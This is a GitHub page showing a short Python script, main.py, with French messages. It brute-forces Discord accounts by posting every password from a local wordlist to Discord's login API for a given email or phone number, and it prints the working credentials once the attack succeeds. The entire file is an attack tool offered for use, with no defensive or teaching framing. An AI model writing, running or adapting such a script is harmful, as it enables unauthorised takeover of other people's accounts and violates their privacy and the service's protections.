-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
34 lines (30 loc) · 1 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string
import time
i = 1
a = 2
b = 0
username = (input("email ou téléphone --> "))
while i < a:
line = b
file = open('your_passwords.txt', "r")
pass1 = file.readlines()
password = pass1[b].replace('\n', '')
headers = {'user-agent': 'patate connecté', 'content-type': 'application/json'}
data={"login":username,"password":password}
with requests.Session() as sessioncheck:
response1 = sessioncheck.post('https://discord.com/api/v9/auth/login',json=data,headers=headers)
reponse_final = str(response1.content)
if 'INVALID_LOGIN' in reponse_final:
b += 1
b = str(b)
print("mdp ne marche pas" + ' ' + password + ' ' + b)
b = int(b)
time.sleep(1)
else:
print(reponse_final)
b +=1
b = str(b)
print(username + ':' + password + ' ' + 'a été brutforce' + ' ' + b)
b = int(b)
i += 1